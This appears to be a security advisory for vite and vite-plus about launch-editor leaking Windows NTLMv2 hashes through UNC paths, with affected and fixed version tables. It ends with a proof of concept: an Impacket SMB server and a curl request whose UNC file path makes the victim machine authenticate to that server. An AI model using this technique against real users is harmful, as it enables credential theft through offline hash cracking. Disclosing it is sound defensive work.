Packages

ModerateVulnerabilityGHSA-v6wh-96g9-6wx3Published 15 Jun 2026

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Affected releases · vite

  • 8.x8.0.0 – 8.0.15Fixed in 8.0.16
  • 7.x7.0.0 – 7.3.3Fixed in 7.3.5
  • 6.x6.0.0 – 6.4.2Fixed in 6.4.3
  • 5.x and older0.1.0 – 5.4.21No fix, no longer updated

On 8.x, the newest line:

npm install vite@8.0.16
8.x
  1. Affected

    8.0.0 – 8.0.15

    16 releases

  2. Fixed

    8.0.16 – 8.3.4

    17 releases, latest

7.x
  1. Affected

    7.0.0 – 7.3.3

    33 releases

  2. Fixed

    7.3.5 – 7.3.7

    3 releases

6.x
  1. Affected

    6.0.0 – 6.4.2

    42 releases

  2. Fixed

    6.4.3 – 6.4.4

    2 releases

5.x
  1. Affected

    5.0.0 – 5.4.21

    67 releases

4.x
  1. Affected

    4.0.0 – 4.5.14

    53 releases

3.x
  1. Affected

    3.0.0 – 3.2.11

    30 releases

2.x
  1. Affected

    2.0.0 – 2.9.18

    97 releases

0.x
  1. Affected

    0.1.0 – 0.20.10

    78 releases

438 stable releases of vite, oldest to newest, one row per major.

Affected releases · vite-plus

  • 0.1.x0.1.0 – 0.1.23Fixed in 0.1.24
  • 0.0.x0.0.1No fix on this line yet

On 0.1.x, the newest line:

npm install vite-plus@0.1.24
1.x
  1. Not affected

    1.0.0 – 1.3.0

    4 releases, latest

0.x
  1. Affected

    0.0.1 – 0.1.23

    25 releases

  2. Fixed

    0.1.24 – 0.3.3

    15 releases

44 stable releases of vite-plus, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for vite. It is read in your browser and sent nowhere.

Is your project affected?

Paste your package.json, or type the range you declare for vite-plus. It is read in your browser and sent nowhere.

What happens

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows

  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)

  • the user accesses the attackers website that sends request to a middleware using launch-editor

  • the server that has the middleware using launch-editor is running

  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.